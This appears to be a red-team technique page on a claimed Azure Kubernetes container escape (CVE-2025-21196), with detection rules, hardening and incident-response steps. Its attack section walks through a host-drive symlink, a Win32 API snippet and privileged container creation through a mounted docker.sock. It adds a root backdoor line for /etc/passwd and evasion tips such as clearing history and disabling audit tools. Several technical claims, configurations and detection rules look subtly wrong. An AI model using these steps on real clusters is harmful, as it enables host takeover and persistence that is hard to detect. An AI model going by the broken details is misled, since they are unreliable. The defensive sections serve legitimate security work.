| Attribute | Details |
|---|---|
| Technique ID | PE-EXPLOIT-004 |
| MITRE ATT&CK v18.1 | T1611 - Escape to Host |
| Tactic | Privilege Escalation |
| Platforms | Azure Kubernetes Service (AKS), Azure Container Instances (ACI), Entra ID |
| Severity | Critical |
| CVE | CVE-2025-21196 |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | AKS 1.0+, Windows Server 2016-2025 (Windows nodes in AKS) |
| Patched In | Microsoft patches available as of January 2025 |
| Author | SERVTEP – Artur Pchelnikau |
Concept: CVE-2025-21196 represents a critical container escape vulnerability in Microsoft Azure’s AKS and ACI services, enabling attackers to break out of container isolation boundaries and gain unauthorized access to the host operating system. The vulnerability stems from ineffective access controls within the container orchestration layer, specifically in how container namespaces and mount points are enforced. An attacker with container access can exploit symbolic link manipulation and mount point misconfigurations to create a global symlink to the host’s root filesystem (particularly the C: drive on Windows), effectively bypassing the entire container isolation model that relies on namespace separation.
Attack Surface: Azure Kubernetes Service (AKS) clusters with Windows nodes, Azure Container Instances, Kubernetes runtime layers (containerd, Docker), Windows Server Container isolation boundaries.
Business Impact: Complete Infrastructure Compromise. A successful exploit enables an attacker to gain full host-level access, allowing them to compromise all co-located containers, access sensitive data across the cluster, establish persistent backdoors, and disrupt critical services. For multi-tenant AKS environments, this means potential compromise of all workloads sharing the same node.
Technical Context: Exploitation typically takes 5-15 minutes once container access is established. Detection difficulty is high because the attack exploits legitimate kernel features (symbolic link creation, mount operations). The vulnerability requires direct container access but does not require elevated privileges within the container—standard user context is sufficient.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.3.1 (Kubernetes) | Ensure that default service accounts are not actively used |
| DISA STIG | SV-242378r879587_rule | Kubernetes must enforce Pod Security Standards |
| CISA SCuBA | K8S.03 | Pod Security Standards must be enforced |
| NIST 800-53 | AC-6 (Least Privilege) | Restrict container capabilities to minimum required |
| GDPR | Art. 32 | Security of Processing - Insufficient isolation controls |
| DORA | Art. 15 | ICT Risk Management - Inadequate workload isolation |
| NIS2 | Art. 21 | Cyber Risk Management Measures - Container escape impacts critical infrastructure |
| ISO 27001 | A.5.1.1 | Information Security Policies - Access control enforcement failure |
| ISO 27005 | Risk Scenario | Unauthorized Host Access via Container Escape - High Impact |
Required Privileges:
Required Access:
Supported Versions:
Tools:
Objective: Identify if pods are running with excessive capabilities or privilege escalation enabled.
Command (Kubernetes General):
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{.spec.securityContext.allowPrivilegeEscalation}{"\n"}{end}'
What to Look For:
allowPrivilegeEscalation: true or empty (defaults to true) - indicates vulnerabilityprivileged: true/var/run/docker.sock, /proc, /sysCommand (AKS Specific - Check Node Pool Configuration):
az aks nodepool show --resource-group <RG> --cluster-name <CLUSTER> --name <NODEPOOL> --query "osType"
What to Look For:
Command:
kubectl get nodes -o wide | grep -i windows
Version Note: Windows Server 2016-2019 on AKS are at highest risk due to older container isolation mechanisms.
Command (Azure Portal Alternative):
# Retrieve AKS node pool details
$cluster = "myAKSCluster"
$rg = "myResourceGroup"
$nodePools = az aks nodepool list --resource-group $rg --cluster-name $cluster | ConvertFrom-Json
$nodePools | Where-Object { $_.osType -eq "Windows" } | Select-Object name, osType, vmSize
Objective: Identify if container runtime sockets are mounted inside containers.
Command (Inside Container):
find / -name "docker.sock" -o -name "containerd.sock" -o -name "crio.sock" -o -name "cri-dockerd.sock" 2>/dev/null
What to Look For:
/var/run/docker.sock most common/run/containerd/containerd.sock on containerd deploymentsCommand (Kubernetes Pod Definition Check):
kubectl get pods -A -o json | jq '.items[] | select(.spec.volumes[]?.hostPath.path | contains("docker.sock")) | {namespace: .metadata.namespace, name: .metadata.name, volumes: .spec.volumes}'
Supported Versions: Windows Server 2016-2025 (vulnerable to CVE-2025-21196)
Objective: Establish a shell inside a Kubernetes pod or container running on vulnerable AKS node.
Command (Via Kubernetes):
kubectl exec -it <pod-name> -n <namespace> -- powershell
Expected Output:
PS C:\app>
What This Means:
OpSec & Evasion:
Clear-History -CommandCount 0Troubleshooting:
error: unable to upgrade connection
ENTRYPOINT ["powershell"] in DockerfileallowedExecRuntimes in network policy or use deployment that allows execObjective: Create a symbolic link that, when made global, grants access to host’s C: drive.
Command (PowerShell - Windows Container):
# Create symlink to host C: drive
cmd /c mklink /d C:\escape_host C:\
Expected Output:
symbolic link created for C:\escape_host <<===>> C:\
What This Means:
Version Note: Windows Server 2016-2019 use different symlink handling than Server 2022+.
Command (Windows Server 2022+):
# More reliable method using junction points
cmd /c mklink /j "C:\host_mount" "C:\"
OpSec & Evasion:
cd C:\Windows\Temp or cd C:\ProgramData\C:\sys_link instead of suspicious namesTroubleshooting:
Access Denied
securityContext.allowPrivilegeEscalation: trueObjective: Promote symlink to global scope to make it accessible to host processes.
Command (PowerShell - Windows Container):
# Use Windows API to enable global symlink access
# This requires Tcb privilege escalation
$code = @"
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(IntPtr hDevice, uint dwIoControlCode,
IntPtr lpInBuffer, uint nInBufferSize, IntPtr lpOutBuffer, uint nOutBufferSize,
out uint lpBytesReturned, IntPtr lpOverlapped);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
public static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess,
uint dwShareMode, IntPtr lpSecurityAttributes, uint dwCreationDisposition,
uint dwFlagsAndAttributes, IntPtr hTemplateFile);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CloseHandle(IntPtr hHandle);
"@
Add-Type -MemberDefinition $code -Name Kernel32 -Namespace Win32 -PassThru | Out-Null
# Set global symlink flag on C:\escape_host
$handle = [Win32.Kernel32]::CreateFile("C:\escape_host", 0x40000000, 3, [IntPtr]::Zero, 3, 0x80, [IntPtr]::Zero)
if ($handle -ne [IntPtr]::Zero) {
[uint32]$bytesReturned = 0
[Win32.Kernel32]::DeviceIoControl($handle, 0x900A4, [IntPtr]::Zero, 0, [IntPtr]::Zero, 0, [ref]$bytesReturned, [IntPtr]::Zero)
[Win32.Kernel32]::CloseHandle($handle)
}
Expected Output:
(No output on success)
What This Means:
OpSec & Evasion:
Troubleshooting:
Access Denied on Win32 API call
securityContext includes: capabilities: add: [SYS_ADMIN]Objective: Navigate to host filesystem and execute code with host privileges.
Command (PowerShell - Windows Container):
# Now access the global symlink from host perspective
# This requires running command from host context
cd C:\escape_host
dir
Expected Output:
Directory: C:\escape_host
Mode LastWriteTime Length Name
---- ----------- ------ ----
d----- 1/1/2025 12:00 AM Windows
d----- 1/1/2025 12:00 AM Program Files
d----- 1/1/2025 12:00 AM Users
...
What This Means:
OpSec & Evasion:
C:\escape_host\Windows\TempC:\escape_host\Windows\System32 initially (may trigger AV)Supported Versions: Kubernetes 1.0+, containerd, Docker, CRI-O all versions
Objective: Locate the container runtime socket mounted inside the pod.
Command (Inside Container):
find / -type s -name "docker.sock" -o -name "containerd.sock" -o -name "crio.sock" 2>/dev/null | head -5
Expected Output:
/var/run/docker.sock
What This Means:
OpSec & Evasion:
find /var/run -type s 2>/dev/nullTroubleshooting:
No such file or directory for all socket paths
Objective: Use curl or Docker CLI to interact with container runtime API.
Command (Using Curl - Universal Method):
# List all containers on the host
curl --unix-socket /var/run/docker.sock http://localhost/containers/json | jq '.'
Expected Output:
[
{
"Id": "abc123def456...",
"Names": ["/pod-name"],
"Image": "image:tag",
"State": "running",
...
}
]
What This Means:
Alternative Command (Using Docker CLI):
docker ps -a
Version Note: Docker CLI may not be present in all container images. Curl is more reliable.
OpSec & Evasion:
Troubleshooting:
Cannot connect to socket
usermod -aG docker $USERObjective: Launch a new container with root filesystem mounted, enabling host escape.
Command (Using Curl to Create Container):
# Create privileged container with host root filesystem mounted
curl -X POST \
--unix-socket /var/run/docker.sock \
-H "Content-Type: application/json" \
-d '{
"Image": "alpine:latest",
"Cmd": ["/bin/sh"],
"HostConfig": {
"Privileged": true,
"Binds": ["/:/host"]
}
}' \
http://localhost/containers/create
Expected Output:
{
"Id": "container_id_1234567890abcdef",
"Warnings": []
}
What This Means:
/host inside new containerAlternative Command (Using Docker CLI if available):
docker run -it --privileged -v /:/host alpine:latest /bin/sh
OpSec & Evasion:
alpine, ubuntu, nginx to avoid suspicionTroubleshooting:
Image not found
curl --unix-socket /var/run/docker.sock http://localhost/images/json to list available imagesObjective: Execute shell inside new container to access host filesystem.
Command (Using Curl to Start Container):
# Start the container
curl -X POST \
--unix-socket /var/run/docker.sock \
http://localhost/containers/container_id_1234567890abcdef/start
Expected Output:
(No output on success)
Command (Attach to Container for Interactive Shell):
# Attach to container stdin/stdout
docker attach container_id_1234567890abcdef
# Or use container CLI directly if available
docker exec -it container_id_1234567890abcdef /bin/sh
Inside Container - Access Host Filesystem:
# Navigate to host filesystem
cd /host
ls -la /
whoami
id
# Example: Write to host's /etc/passwd for persistence
cat /etc/passwd >> /host/etc/passwd.bak
echo "backdoor:x:0:0::/root:/bin/bash" >> /host/etc/passwd
Expected Output:
root
uid=0(root) gid=0(root) groups=0(root)
What This Means:
OpSec & Evasion:
/usr/bin/auditctl, /usr/sbin/iptables/tmp for staging malicious binarieshistory -c; history -wRule Configuration:
SPL Query:
index=kubernetes_audit verb="create" objectRef.kind="Pod"
[| rest /services/configs/transforms uri=default_fields
| fields hostPath]
| search requestObject.spec.volumes{}.hostPath.path="*/docker.sock"
OR requestObject.spec.volumes{}.hostPath.path="*/containerd.sock"
OR requestObject.spec.volumes{}.hostPath.path="*/crio.sock"
| stats count by user, objectRef.namespace, objectRef.name
| where count > 0
What This Detects:
Manual Configuration Steps:
Source: Kubernetes Security Best Practices - Splunk
Rule Configuration:
SPL Query:
index=windows_containers (CommandLine="*mklink*" OR CommandLine="*fsutil*hardlink*")
Container.ID=* ParentImage="*powershell*"
| stats count by host, User, CommandLine, Container.ID
| search count > 0
What This Detects:
Manual Configuration Steps:
Rule Configuration:
KQL Query:
KuberneteAudit
| where OperationName == "create" and ObjectRef_kind == "Pod"
| extend SecurityContext = todynamic(RequestObject)
| where SecurityContext.spec.securityContext.allowPrivilegeEscalation == true
or SecurityContext.spec.containers[0].securityContext.allowPrivilegeEscalation == true
| extend HasSocketMount = (SecurityContext.spec.volumes has "docker.sock"
or SecurityContext.spec.volumes has "containerd.sock")
| project TimeGenerated, User, ObjectRef_namespace, ObjectRef_name, HasSocketMount, SecurityContext
What This Detects:
Manual Configuration Steps (Azure Portal):
Container Escape Risk - Pod Security ContextHigh5 minutes30 minutesManual Configuration Steps (PowerShell):
# Connect to Sentinel workspace
Connect-AzAccount
$ResourceGroup = "myResourceGroup"
$WorkspaceName = "mySentinelWorkspace"
# Create the analytics rule
$rule = @{
DisplayName = "Container Escape Risk - Pod Security Context"
Query = "KuberneteAudit | where OperationName == 'create' and ObjectRef_kind == 'Pod' | extend SecurityContext = todynamic(RequestObject) | where SecurityContext.spec.securityContext.allowPrivilegeEscalation == true or SecurityContext.spec.containers[0].securityContext.allowPrivilegeEscalation == true | project TimeGenerated, User, ObjectRef_namespace, ObjectRef_name"
Severity = "High"
Enabled = $true
}
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName @rule
Source: Microsoft Sentinel Kubernetes Security Monitoring
Event ID: 4688 (Process Creation)
Manual Configuration Steps (Group Policy):
gpupdate /force on target machinesauditpol /get /category:* | findstr /I "detailed tracking"Manual Configuration Steps (Server 2022+):
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enableauditpol /get /subcategory:"Process Creation"Manual Configuration Steps (Local Policy - PowerShell):
# Enable Audit Process Creation via PowerShell
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
# View event log
Get-WinEvent -LogName Security -FilterXPath "*[System[(EventID=4688)]]" -MaxEvents 10 |
Where-Object { $_.Message -match "mklink|symlink" }
Minimum Sysmon Version: 13.0+ Supported Platforms: Windows Server 2016-2025
<Sysmon schemaversion="4.22">
<EventFiltering>
<!-- Detect symlink creation attempts -->
<RuleGroup name="SymlinkCreation" groupRelation="or">
<ProcessCreate onmatch="include">
<CommandLine condition="contains any">mklink;fsutil;junction</CommandLine>
<ParentImage condition="contains any">powershell;cmd;pwsh</ParentImage>
</ProcessCreate>
</RuleGroup>
<!-- Detect container runtime socket access -->
<RuleGroup name="SocketAccess" groupRelation="or">
<FileCreate onmatch="include">
<TargetFilename condition="contains any">docker.sock;containerd.sock;crio.sock</TargetFilename>
</FileCreate>
</RuleGroup>
<!-- Detect Win32 API calls for symlink manipulation -->
<RuleGroup name="SymlinkAPICall" groupRelation="or">
<CreateRemoteThread onmatch="include">
<TargetImage condition="contains">powershell;pwsh</TargetImage>
<SourceImage condition="contains any">kernel32;ntdll</SourceImage>
</CreateRemoteThread>
</RuleGroup>
</EventFiltering>
</Sysmon>
Manual Configuration Steps:
sysmon-config.xml with the XML abovesysmon64.exe -accepteula -i sysmon-config.xml
Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10 | Where-Object { $_.Message -match "mklink|socket" }
Alert Name: Suspicious symbolic link creation in container detected
Alert Name: Container runtime socket mounted inside pod
Manual Configuration Steps (Enable Defender for Cloud):
Reference: Microsoft Defender Alert Reference - Container Escape
privileged: false)allowPrivilegeEscalation: false)Applies To Versions: Kubernetes 1.25+ (PSS recommended), older versions use PSP
Manual Steps (Kubernetes 1.25+ using PSS):
PodSecurityPolicy namespace label:
kubectl label namespace default pod-security.kubernetes.io/enforce=restricted
kubectl get ns default -o jsonpath='{.metadata.labels.pod-security\.kubernetes\.io/enforce}'
kubectl apply -f pod.yaml
# Should fail if pod violates policy
Manual Steps (Older Kubernetes using PSP):
apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
name: restricted
spec:
privileged: false
allowPrivilegeEscalation: false
requiredDropCapabilities:
- ALL
volumes:
- 'configMap'
- 'emptyDir'
- 'projected'
- 'secret'
- 'downwardAPI'
- 'persistentVolumeClaim'
kubectl apply -f psp.yamlClusterRole and ClusterRoleBinding to enforceDisable Container Runtime Socket Mounts: Use admission controllers (Kyverno, OPA Gatekeeper) to prevent mounting of runtime sockets.
Manual Steps (Using Kyverno):
helm repo add kyverno https://kyverno.github.io/kyverno/
helm install kyverno kyverno/kyverno -n kyverno --create-namespace
kubectl apply -f kyverno-policy.yamlSet allowPrivilegeEscalation to false across all pods: Configure default security context at namespace level.
Manual Steps (PowerShell/Kubernetes):
# Create NetworkPolicy to enforce security context
kubectl create namespace secure-apps
# Apply to deployment
kubectl set env deployment/my-app -n secure-apps \
SECURITY_CONTEXT_ALLOW_PRIV_ESC=false
# Or patch existing deployment
kubectl patch deployment my-app -n secure-apps -p '{
"spec": {
"template": {
"spec": {
"securityContext": {
"allowPrivilegeEscalation": false,
"runAsNonRoot": true,
"runAsUser": 1000
}
}
}
}
}'
Update Windows Server Nodes to Latest Patched Version: Apply Microsoft security patches for CVE-2025-21196.
Manual Steps (AKS Node Pool Update):
# Check current node image version
az aks nodepool list --resource-group myRG --cluster-name myCluster --query "[].osType"
# Trigger node image upgrade
az aks nodepool upgrade --resource-group myRG --cluster-name myCluster --name nodepool1 --node-image-only
# Monitor upgrade
kubectl get nodes -w
Manual Steps (Server 2022+ - Windows Update):
Settings → Update & Security → Check for updatesGet-HotFix | Sort-Object InstalledOn -Desc | Select-Object -First 5Enable and Configure RBAC for Pod Creation: Restrict who can create pods with elevated security contexts.
Manual Steps:
```
kubectl create rolebinding pod-creator-restricted --clusterrole=pod-creator-restricted --serviceaccount=default:app-saImplement Network Policies to Isolate Containers: Prevent lateral movement even if one container is compromised.
Manual Steps:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-all
spec:
podSelector: {}
policyTypes:
- Ingress
- Egress
RBAC: Least Privilege Service Accounts Ensure pods run with minimal permissions.
Manual Steps:
# Create restricted service account
kubectl create serviceaccount app-minimal
# Create role with minimal permissions
kubectl create role app-role --verb=get,list --resource=pods
# Bind role
kubectl create rolebinding app-binding --role=app-role --serviceaccount=default:app-minimal
# Use in pod spec
# serviceAccountName: app-minimal
Azure Policy (for AKS): Enforce container security baselines at Azure subscription level.
Manual Steps:
Kubernetes# Check if pod security standards are enforced
kubectl get ns -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.metadata.labels.pod-security\.kubernetes\.io/enforce}{"\n"}{end}'
# Verify no pods have privileged context
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{.spec.securityContext.privileged}{"\n"}{end}' | grep -v "false"
# Check for socket mounts
kubectl get pods -A -o json | jq '.items[] | select(.spec.volumes[]?.hostPath.path | contains("docker.sock")) | {namespace: .metadata.namespace, name: .metadata.name}'
Expected Output (If Secure):
# No output for socket mount check (good)
# For PSS check, should show "restricted" or "baseline" labels
# For privilege check, should show only "false" values
What to Look For:
privileged values are false (secure)C:\Windows\Temp\ for symlink staging/tmp/docker-cli, /tmp/curl for runtime socket toolsC:\ProgramData\ for backdoor scripts/etc/passwd modifications on host/var/lib/docker/overlay2/*/diff/ (file modifications)/var/lib/kubelet/pods/*/volumes/ (runtime socket mount points)/var/log/audit/audit.log (Linux audit logs).docker/config.json in compromised container# Immediately delete compromised pod
kubectl delete pod <pod-name> -n <namespace> --grace-period=0 --force
# Cordon node to prevent new pod scheduling
kubectl cordon <node-name>
Manual (Azure/GUI):
# Capture pod logs before deletion
kubectl logs <pod-name> -n <namespace> > /tmp/pod-logs.txt
# Get pod events
kubectl describe pod <pod-name> -n <namespace> > /tmp/pod-events.txt
# Export audit logs
kubectl logs -n kube-system -l component=kube-apiserver > /tmp/kube-apiserver-logs.txt
Command (Node Forensics - Windows):
# Collect Event Logs
wevtutil epl Security C:\Evidence\Security.evtx
wevtutil epl System C:\Evidence\System.evtx
# Collect Sysmon logs
wevtutil epl "Microsoft-Windows-Sysmon/Operational" C:\Evidence\Sysmon.evtx
# Collect MFT for filesystem analysis
fsutil usn readjournal C: > C:\Evidence\USN_Journal.txt
# Memory dump (requires ProcDump)
procdump64.exe -accepteula -ma docker.exe C:\Evidence\docker.dmp
procdump64.exe -accepteula -ma powershell.exe C:\Evidence\powershell.dmp
Manual (Azure Portal):
# Remove backdoor users from compromised host
kubectl exec -it <replacement-pod> -n <namespace> -- /bin/sh
# Inside replacement container with host mount
cat /host/etc/passwd | grep -v backdoor > /host/etc/passwd.tmp
mv /host/etc/passwd.tmp /host/etc/passwd
# Remove malicious files
rm /host/tmp/malicious-binary
rm /host/opt/persistence-agent
Manual (Complete Node Replacement - Recommended):
# Delete compromised node from cluster
kubectl delete node <node-name>
# In AKS, node will be automatically replaced by nodepool
# Verify new node joins cluster
kubectl get nodes -w
Command (Revoke Compromised Credentials):
# Rotate service account tokens
kubectl delete secret $(kubectl get secret -n <namespace> -o name | grep <service-account>) -n <namespace>
# Force token regeneration
kubectl patch serviceaccount <service-account> -n <namespace> -p '{"secrets": []}'
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-EXPLOIT-005] AKS Control Plane Exploitation | Attacker gains initial container access via vulnerable AKS control plane |
| 2 | Privilege Escalation (In-Container) | [PE-EXPLOIT-005] Pod Security Context Escalation | Attacker escalates privileges within container namespace |
| 3 | Current Step | [PE-EXPLOIT-004] Container Escape to Host | Attacker breaks out of container, gains host-level access |
| 4 | Lateral Movement | [PE-VALID-015] AKS Node Identity Compromise | Attacker uses host access to compromise node identity/managed identity |
| 5 | Persistence | Backdoor in host filesystem, service startup modification | Attacker establishes persistence beyond pod lifecycle |
| 6 | Impact | [IMPACT-RANSOM-001] Ransomware Deployment on Azure VMs | Attacker deploys malware across all cluster nodes and connected resources |
C:\app\config\secrets.xml/var/run/docker.sock mounted in pod-v /:/host mountcluster-admin service account